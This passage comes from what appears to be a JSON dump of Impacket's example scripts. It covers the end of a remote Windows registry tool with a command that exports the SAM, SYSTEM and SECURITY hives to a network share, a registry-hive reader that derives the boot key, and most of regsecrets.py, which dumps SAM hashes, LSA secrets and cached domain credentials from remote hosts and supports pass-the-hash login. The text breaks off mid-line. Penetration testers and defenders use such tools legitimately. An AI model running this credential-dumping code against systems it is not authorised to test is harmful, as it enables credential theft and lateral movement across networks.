ans2?\n\n            # Convert persistant flag into the relevant dwOption.\n            # dwOption 0 = Persistent\n            # dwOption 1 = Volatile\n            dwOption = 0x00000001\n            if persistent is True:\n                dwOption = 0x00000000\n            else:\n                print('[!] The created key is volatile and will not remain after a reboot. ')\n\n            ans3 = rrp.hBaseRegCreateKey(\n                dce, hRootKey, subKeyCreate, dwOptions=dwOption,\n                samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)\n\n            if ans3['ErrorCode'] == 0:\n                print('Successfully set subkey %s' % (\n                    keyName\n                ))\n            else:\n                print('Error 0x%08x while creating subkey %s' % (\n                    ans3['ErrorCode'], keyName\n                ))\n\n        else: # Try to set value of key\n            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)\n\n\n            dwType = getattr(rrp, self.__options.vt, None)\n\n            if dwType is None or not self.__options.vt.startswith('REG_'):\n                raise Exception('Error parsing value type %s' % self.__options.vt)\n\n            #Fix (?) for packValue function\n            if dwType == rrp.REG_MULTI_SZ:\n                vd = '\\0'.join(self.__options.vd)\n                valueData = vd + 2 * '\\0' # REG_MULTI_SZ ends with 2 null-bytes\n                valueDataToPrint = vd.replace('\\0', '\\n\\t\\t')\n            else:\n                vd = self.__options.vd[0] if len(self.__options.vd) > 0 else ''\n                if dwType in (\n                    rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN,\n                    rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN\n                ):\n                    valueData = int(vd)\n                elif dwType == rrp.REG_BINARY:\n                    bin_value_len = len(vd)\n                    bin_value_len += (bin_value_len & 1)\n                    valueData = binascii.a2b_hex(vd.ljust(bin_value_len, '0'))\n                else:\n                    valueData = vd + \"\\0\" # Add a NULL Byte as terminator for Non Binary values\n                valueDataToPrint = valueData\n\n            ans3 = rrp.hBaseRegSetValue(\n                dce, ans2['phkResult'], self.__options.v, dwType, valueData\n            )\n\n            if ans3['ErrorCode'] == 0:\n                print('Successfully set\\n\\tkey\\t%s\\\\%s\\n\\ttype\\t%s\\n\\tvalue\\t%s' % (\n                    keyName, self.__options.v, self.__options.vt, valueDataToPrint\n                ))\n            else:\n                print('Error 0x%08x while setting\\n\\tkey\\t%s\\\\%s\\n\\ttype\\t%s\\n\\tvalue\\t%s' % (\n                    ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueDataToPrint\n                ))\n\n    def delete(self, dce, keyName):\n        hRootKey, subKey = self.__strip_root_key(dce, keyName)\n\n        # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006)\n        if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey\n            subKeyDelete = subKey\n            subKey = '\\\\'.join(subKey.split('\\\\')[:-1])\n\n            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)\n\n            # Should I use ans2?\n            try:\n                ans3 = rrp.hBaseRegDeleteKey(\n                    dce, hRootKey, subKeyDelete,\n                )\n            except rpcrt.DCERPCException as e:\n                if e.error_code == 5:\n                    #TODO: Check if DCERPCException appears only because of existing subkeys\n                    print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName)\n                    return\n                else:\n                    raise\n            except Exception as e:\n                logging.error('Unhandled exception while hBaseRegDeleteKey')\n                return\n\n            if ans3['ErrorCode'] == 0:\n                print('Successfully deleted subkey %s' % (\n                    keyName\n                ))\n            else:\n                print('Error 0x%08x while deleting subkey %s' % (\n                    ans3['ErrorCode'], keyName\n                ))\n\n        elif self.__options.v: # Delete single value\n            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)\n\n            ans3 = rrp.hBaseRegDeleteValue(\n                dce, ans2['phkResult'], self.__options.v\n            )\n\n            if ans3['ErrorCode'] == 0:\n                print('Successfully deleted key %s\\\\%s' % (\n                    keyName, self.__options.v\n                ))\n            else:\n                print('Error 0x%08x while deleting key %s\\\\%s' % (\n                    ans3['ErrorCode'], keyName, self.__options.v\n                ))\n\n        elif self.__options.ve:\n            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                       samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY)\n\n            ans3 = rrp.hBaseRegDeleteValue(\n                dce, ans2['phkResult'], ''\n            )\n\n            if ans3['ErrorCode'] == 0:\n                print('Successfully deleted value %s\\\\%s' % (\n                    keyName, 'Default'\n                ))\n            else:\n                print('Error 0x%08x while deleting value %s\\\\%s' % (\n                    ans3['ErrorCode'], keyName, self.__options.v\n                ))\n\n        elif self.__options.va:\n            ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                       samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)\n            i = 0\n            allSubKeys = []\n            while True:\n                try:\n                    ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i)\n                    lp_value_name = ans3['lpValueNameOut'][:-1]\n                    allSubKeys.append(lp_value_name)\n                    i += 1\n                except rrp.DCERPCSessionError as e:\n                    if e.get_error_code() == ERROR_NO_MORE_ITEMS:\n                        break\n\n            ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey,\n                                       samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)\n            for subKey in allSubKeys:\n                try:\n                    ans5 = rrp.hBaseRegDeleteValue(\n                        dce, ans4['phkResult'], subKey\n                    )\n                    if ans5['ErrorCode'] == 0:\n                        print('Successfully deleted value %s\\\\%s' % (\n                            keyName, subKey\n                        ))\n                    else:\n                        print('Error 0x%08x in deletion of value %s\\\\%s' % (\n                            ans5['ErrorCode'], keyName, subKey\n                        ))\n                except Exception as e:\n                    print('Unhandled error %s in deletion of value %s\\\\%s' % (\n                        str(e), keyName, subKey\n                    ))\n\n    def __strip_root_key(self, dce, keyName):\n        # Let's strip the root key\n        try:\n            rootKey = keyName.split('\\\\')[0]\n            subKey = '\\\\'.join(keyName.split('\\\\')[1:])\n        except Exception:\n            raise Exception('Error parsing keyName %s' % keyName)\n        if rootKey.upper() == 'HKLM':\n            ans = rrp.hOpenLocalMachine(dce)\n        elif rootKey.upper() == 'HKCU':\n            ans = rrp.hOpenCurrentUser(dce)\n        elif rootKey.upper() == 'HKU':\n            ans = rrp.hOpenUsers(dce)\n        elif rootKey.upper() == 'HKCR':\n            ans = rrp.hOpenClassesRoot(dce)\n        else:\n            raise Exception('Invalid root key %s ' % rootKey)\n        hRootKey = ans['phKey']\n        return hRootKey, subKey\n\n    def __print_key_values(self, rpc, keyHandler):\n        i = 0\n        while True:\n            try:\n                ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i)\n                lp_value_name = ans4['lpValueNameOut'][:-1]\n                if len(lp_value_name) == 0:\n                    lp_value_name = '(Default)'\n                lp_type = ans4['lpType']\n                lp_data = b''.join(ans4['lpData'])\n                print('\\t' + lp_value_name + '\\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\\t', end=' ')\n                self.__parse_lp_data(lp_type, lp_data)\n                i += 1\n            except rrp.DCERPCSessionError as e:\n                if e.get_error_code() == ERROR_NO_MORE_ITEMS:\n                    break\n\n    def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index):\n        index = 0\n        while True:\n            try:\n                subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index)\n                index += 1\n                ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'],\n                                          samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS)\n                newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\\\'\n                print(newKeyName)\n                self.__print_key_values(rpc, ans['phkResult'])\n                self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0)\n            except rrp.DCERPCSessionError as e:\n                if e.get_error_code() == ERROR_NO_MORE_ITEMS:\n                    break\n            except rpcrt.DCERPCException as e:\n                if str(e).find('access_denied') >= 0:\n                    logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1])\n                    continue\n                elif str(e).find('rpc_x_bad_stub_data') >= 0:\n                    logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1])\n                    return\n                raise\n\n    @staticmethod\n    def __parse_lp_data(valueType, valueData):\n        try:\n            if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ:\n                if type(valueData) is int:\n                    print('NULL')\n                else:\n                    print(\"%s\" % (valueData.decode('utf-16le')[:-1]))\n            elif valueType == rrp.REG_BINARY:\n                print('')\n                hexdump(valueData, '\\t')\n            elif valueType == rrp.REG_DWORD:\n                print(\"0x%x\" % (unpack('<L', valueData)[0]))\n            elif valueType == rrp.REG_QWORD:\n                print(\"0x%x\" % (unpack('<Q', valueData)[0]))\n            elif valueType == rrp.REG_NONE:\n                try:\n                    if len(valueData) > 1:\n                        print('')\n                        hexdump(valueData, '\\t')\n                    else:\n                        print(\" NULL\")\n                except:\n                    print(\" NULL\")\n            elif valueType == rrp.REG_MULTI_SZ:\n                print(\"%s\" % (valueData.decode('utf-16le')[:-2]))\n            else:\n                print(\"Unknown Type 0x%x!\" % valueType)\n                hexdump(valueData)\n        except Exception as e:\n            logging.debug('Exception thrown when printing reg value %s' % str(e))\n            print('Invalid data')\n            pass\n\n\nif __name__ == '__main__':\n\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help=True, description=\"Windows Register manipulation script.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    subparsers = parser.add_subparsers(help='actions', dest='action')\n\n    # A query command\n    query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that '\n                                                       'are located under a specified subkey in the registry.')\n    query_parser.add_argument('-keyName', action='store', required=True,\n                              help='Specifies the full path of the subkey. The '\n                                   'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'\n                                   ' HKU, HKCU, HKCR.')\n    query_parser.add_argument('-v', action='store', metavar=\"VALUENAME\", required=False, help='Specifies the registry '\n                           'value name that is to be queried. If omitted, all value names for keyName are returned. ')\n    query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default '\n                                                                         'value or empty value name')\n    query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value '\n                                                                             'names recursively.')\n\n    # An add command\n    add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')\n    add_parser.add_argument('-keyName', action='store', required=True,\n                              help='Specifies the full path of the subkey. The '\n                                   'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'\n                                   ' HKU, HKCU, HKCR.')\n    add_parser.add_argument('-v', action='store', metavar=\"VALUENAME\", required=False, help='Specifies the registry '\n                           'value name that is to be set. Set to \"\" to write the (Default) value')\n    add_parser.add_argument('-vt', action='store', metavar=\"VALUETYPE\", required=False, help='Specifies the registry '\n                           'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, '\n                           'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD',\n                            default='REG_SZ')\n    add_parser.add_argument('-vd', action='append', metavar=\"VALUEDATA\", required=False, help='Specifies the registry '\n                           'value data that is to be set. In case of adding a REG_MULTI_SZ value, set this option once for each '\n                           'line you want to add.', default=[])\n    add_parser.add_argument('--persistent', action='store_true', required=False, help='Specify that the created key is intended to be persistent '\n                            'through reboot. Default is volatile key creation')\n\n    # An delete command\n    delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')\n    delete_parser.add_argument('-keyName', action='store', required=True,\n                              help='Specifies the full path of the subkey. The '\n                                   'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'\n                                   ' HKU, HKCU, HKCR.')\n    delete_parser.add_argument('-v', action='store', metavar=\"VALUENAME\", required=False, help='Specifies the registry '\n                           'value name that is to be deleted.')\n    delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.')\n    delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).')\n\n    # A copy command\n    # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote '\n    #                                                   'computer')\n\n    #A save command\n    save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the '\n                                                    'registry in a specified file.')\n    save_parser.add_argument('-keyName', action='store', required=True,\n                               help='Specifies the full path of the subkey. The '\n                                    'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'\n                                    ' HKU, HKCU, HKCR.')\n    save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\\\\\192.168.0.2\\\\share', required=True, help='Output UNC path the target system must export the registry saves to')\n\n    # A special backup command to save HKLM\\SAM, HKLM\\SYSTEM and HKLM\\SECURITY\n    backup_parser = subparsers.add_parser('backup', help='(special command) Backs up HKLM\\\\SAM, HKLM\\\\SYSTEM and HKLM\\\\SECURITY to a specified file.')\n    backup_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\\\\\192.168.0.2\\\\share', required=True,\n                             help='Output UNC path the target system must export the registry saves to')\n\n    # A load command\n    # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in '\n    #                                                 'the registry.')\n\n    # An unload command\n    # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the '\n    #                                                     'reg load operation.')\n\n    # A compare command\n    # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries')\n\n    # A export command\n    # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into'\n    #                                                     'a file')\n\n    # A import command\n    # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, '\n    #                                                     'and values into the remote computer\\'s registry')\n\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\",\n                       help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '\n                            'target parameters. If valid credentials cannot be found, it will use the ones specified '\n                            'in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar=\"hex key\",\n                       help='AES key to use for Kerberos Authentication (128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if domain is None:\n        domain = ''\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n\n        password = getpass(\"Password:\")\n\n    regHandler = RegHandler(username, password, domain, options)\n    try:\n        regHandler.run(remoteName, options.target_ip)\n    except Exception as e:\n        #import traceback\n        #traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/registry-read.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   A Windows Registry Reader Example\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   winregistry.py\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport argparse\nimport ntpath\nfrom binascii import unhexlify, hexlify\n\nfrom impacket.examples import logger\nfrom impacket import version\nfrom impacket import winregistry\n\n\ndef bootKey(reg):\n    baseClass = 'ControlSet001\\\\Control\\\\Lsa\\\\'\n    keys = ['JD','Skew1','GBG','Data']\n    tmpKey = ''\n\n    for key in keys:\n        tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8])\n\n    transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]\n\n    syskey = ''\n    for i in range(len(tmpKey)):\n        syskey += tmpKey[transforms[i]]\n\n    print(hexlify(syskey))\n\ndef getClass(reg, className):\n    regKey = ntpath.dirname(className)\n    regClass = ntpath.basename(className)\n\n    value = reg.getClass(className)\n\n    if value is None:\n        return\n\n    print(\"[%s]\" % regKey)\n\n    print(\"Value for Class %s: \\n\" % regClass, end=' ')\n\n    winregistry.hexdump(value,'   ')\n\ndef getValue(reg, keyValue):\n    regKey = ntpath.dirname(keyValue)\n    regValue = ntpath.basename(keyValue)\n\n    value = reg.getValue(keyValue)\n\n    print(\"[%s]\\n\" % regKey)\n\n    if value is None:\n        return\n\n    print(\"Value for %s:\\n    \" % regValue, end=' ')\n    reg.printValue(value[0],value[1])\n\ndef enumValues(reg, searchKey):\n    key = reg.findKey(searchKey)\n\n    if key is None:\n        return\n\n    print(\"[%s]\\n\" % searchKey)\n\n    values = reg.enumValues(key)\n    print(values)\n\n    for value in values:\n        print(\"  %-30s: \" % value, end=' ')\n        data = reg.getValue(searchKey, value.decode('utf-8'))\n        # Special case for binary string.. so it looks better formatted\n        if data[0] == winregistry.REG_BINARY:\n            print('')\n            reg.printValue(data[0],data[1])\n            print('')\n        else:\n            reg.printValue(data[0],data[1])\n\ndef enumKey(reg, searchKey, isRecursive, indent='  '):\n    parentKey = reg.findKey(searchKey)\n\n    if parentKey is None:\n        return\n\n    keys = reg.enumKey(parentKey)\n\n    for key in keys:\n        print(\"%s%s\" %(indent, key))\n        if isRecursive is True:\n            if searchKey == '\\\\':\n                enumKey(reg, '\\\\%s'%key,isRecursive,indent+'  ')\n            else:\n                enumKey(reg, '%s\\\\%s'%(searchKey,key),isRecursive,indent+'  ')\n\ndef walk(reg, keyName):\n    return reg.walk(keyName)\n\n\ndef main():\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Reads data from registry hives.\")\n\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('hive', action='store', help='registry hive to open')\n    subparsers = parser.add_subparsers(help='actions', dest='action')\n    # A enum_key command\n    enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key')\n    enumkey_parser.add_argument('-name', action='store', required=True, help='registry key')\n    enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)')\n\n    # A enum_values command\n    enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key')\n    enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key')\n\n    # A get_value command\n    getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value')\n    getvalue_parser.add_argument('-name', action='store', required=True, help='registry value')\n\n    # A get_class command\n    getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class')\n    getclass_parser.add_argument('-name', action='store', required=True, help='registry class name')\n\n    # A walk command\n    walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down')\n    walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    reg = winregistry.get_registry_parser(options.hive)\n\n    if options.action.upper() == 'ENUM_KEY':\n        print(\"[%s]\" % options.name)\n        enumKey(reg, options.name, options.recursive)\n    elif options.action.upper() == 'ENUM_VALUES':\n        enumValues(reg, options.name)\n    elif options.action.upper() == 'GET_VALUE':\n        getValue(reg, options.name)\n    elif options.action.upper() == 'GET_CLASS':\n        getClass(reg, options.name)\n    elif options.action.upper() == 'WALK':\n        walk(reg, options.name)\n\n    reg.close()\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "examples/regsecrets.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright (C) 2022 Fortra. All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Performs various techniques to dump hashes from the\n#   remote machine without executing any agent there.\n#   For SAM and LSA Secrets (including cached creds)\n#   we try to read as much as we can from the registry\n#   and then we save the hives in the target system\n#   (%SYSTEMROOT%\\\\Temp dir) and read the rest of the\n#   data from there.\n#   For NTDS.dit we either:\n#       a. Get the domain users list and get its hashes\n#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()\n#          call, replicating just the attributes we need.\n#       b. Extract NTDS.dit via vssadmin executed  with the\n#          smbexec approach.\n#          It's copied on the temp dir and parsed remotely.\n#\n#   The script initiates the services required for its working\n#   if they are not available (e.g. Remote Registry, even if it is\n#   disabled). After the work is done, things are restored to the\n#   original state.\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Julien Egloff (@laxaa)\n#\n# References:\n#   Most of the work done by these guys. I just put all\n#   the pieces together, plus some extra magic.\n#\n#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync\n#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html\n#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html\n#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html\n#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13\n#   - https://code.google.com/p/creddump/\n#   - https://lab.mediaservice.net/code/cachedump.rb\n#   - https://insecurety.net/?p=768\n#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm\n#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf\n#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15\n#\n\nimport argparse\nimport codecs\nimport logging\nimport sys\n\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.examples.regsecrets import LSASecrets, RemoteOperations, SAMHashes\n\nfrom impacket.krb5.keytab import Keytab\nfrom binascii import unhexlify, hexlify\n\nclass DumpSecrets:\n    def __init__(self, remoteName, username='', password='', domain='', options=None):\n        self.__remoteName = remoteName\n        self.__remoteHost = options.target_ip\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__outputFileName = options.outputfile\n        self.__aesKey = options.aesKey\n        self.__smbConnection = None\n        self.__remoteOps = None\n        self.__SAMHashes = None\n        self.__LSASecrets = None\n        self.__bootkey = options.bootkey\n        self.__doKerberos = options.k\n        self.__history = options.history\n        self.__kdcHost = options.dc_ip\n        self.__nosam = options.nosam\n        self.__nocache = options.nocache\n        self.__nolsa = options.nolsa\n        self.__throttle = options.throttle\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def connect(self):\n        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)\n        if self.__doKerberos:\n            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                               self.__nthash, self.__aesKey, self.__kdcHost)\n        else:\n            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n    def dump(self):\n        try:\n            bootKey = None\n            try:\n                self.connect()\n                self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)\n                self.__remoteOps.enableRegistry()\n            except Exception as e:\n                logging.error('RemoteOperations failed: %s' % str(e))\n            if not self.__bootkey:\n                try:\n                    bootKey = self.__remoteOps.getBootKey()\n                except Exception as e:\n                    logging.error('RemoteOperations failed: %s' % str(e))\n            else:\n                if self.__bootkey.startswith('0x'):\n                    self.__bootkey = self.__bootkey[2:]\n                bootKey = unhexlify(self.__bootkey)\n                logging.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))\n\n            if bootKey is None:\n                raise Exception('Failed to fetch bootKey')\n\n            if not self.__nosam:\n                try:\n                    self.__SAMHashes = SAMHashes(bootKey, remoteOps=self.__remoteOps, history=self.__history, throttle=self.__throttle)\n                    self.__SAMHashes.dump()\n                    if self.__outputFileName is not None:\n                        self.__SAMHashes.export(self.__outputFileName)\n                except Exception as e:\n                    if logging.getLogger().level == logging.DEBUG:\n                        import traceback\n                        traceback.print_exc()\n                    logging.error('SAM hashes extraction failed: %s' % str(e))\n\n            try:\n                self.__LSASecrets = LSASecrets(bootKey, self.__remoteOps,\n                                                 history=self.__history, throttle=self.__throttle)\n                if not self.__nocache:\n                    self.__LSASecrets.dumpCachedHashes()\n                    if self.__outputFileName is not None:\n                        self.__LSASecrets.exportCached(self.__outputFileName)\n                if not self.__nolsa:\n                    self.__LSASecrets.dumpSecrets()\n                    if self.__outputFileName is not None:\n                        self.__LSASecrets.exportSecrets(self.__outputFileName)\n            except Exception as e:\n                if logging.getLogger().level == logging.DEBUG:\n                    import traceback\n                    traceback.print_exc()\n                logging.error('LSA hashes extraction failed: %s' % str(e))\n\n            self.cleanup()\n        except (Exception, KeyboardInterrupt) as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(e)\n            try:\n                self.cleanup()\n            except:\n                logging.info('Failed to perform cleanup...')\n                pass\n\n    def cleanup(self):\n        logging.info('Cleaning up... ')\n        if self.__remoteOps:\n            self.__remoteOps.finish()\n        self.__smbConnection.logoff()\n\n# Process command-line arguments.\nif __name__ == '__main__':\n    # Explicitly changing the stdout encoding format\n    if sys.stdout.encoding is None:\n        # Output is redirected to a file\n        sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"Performs various techniques to dump secrets from \"\n                                                      \"the remote machine without executing any agent there.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-system', action='store', help='SYSTEM hive to parse')\n    parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive')\n    parser.add_argument('-nosam', action='store_true', help='Do not retrieve SAM information', default=False)\n    parser.add_argument('-nocache', action='store_true', help='Do not retrieve MSCache information', default=False)\n    parser.add_argument('-nolsa', action='store_true', help='Do not retrieve LSASecrets', default=False)\n    parser.add_argument('-throttle', action='store', help='Throttle in seconds between operations', default=0, type=int)\n    parser.add_argument('-outputfile', action='store',\n                        help='base output filename. Extensions will be added for sam, secrets and cached')\n\n    group = parser.add_argument_group('display options')\n    group.add_argument('-history', action='store_true', help='Dump password history (NTDS and SAM hashes), and LSA secrets OldVal')\n\n    group = parser.add_argument_group('authentication')\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                             '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use'\n                             ' the ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication'\n                                                                            ' (128 or 256 bits)')\n    group.add_argument('-keytab', action=\"store\", help='Read keys for SPN from keytab file')\n\n    group = parser.add_argument_group('connection')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                                 'ommited it use the domain part (FQDN) specified in the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n\n    if len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, remoteName = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = remoteName\n\n    if domain is None:\n        domain = ''\n\n    if options.keytab is not None:\n        Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)\n        options.k = True\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is 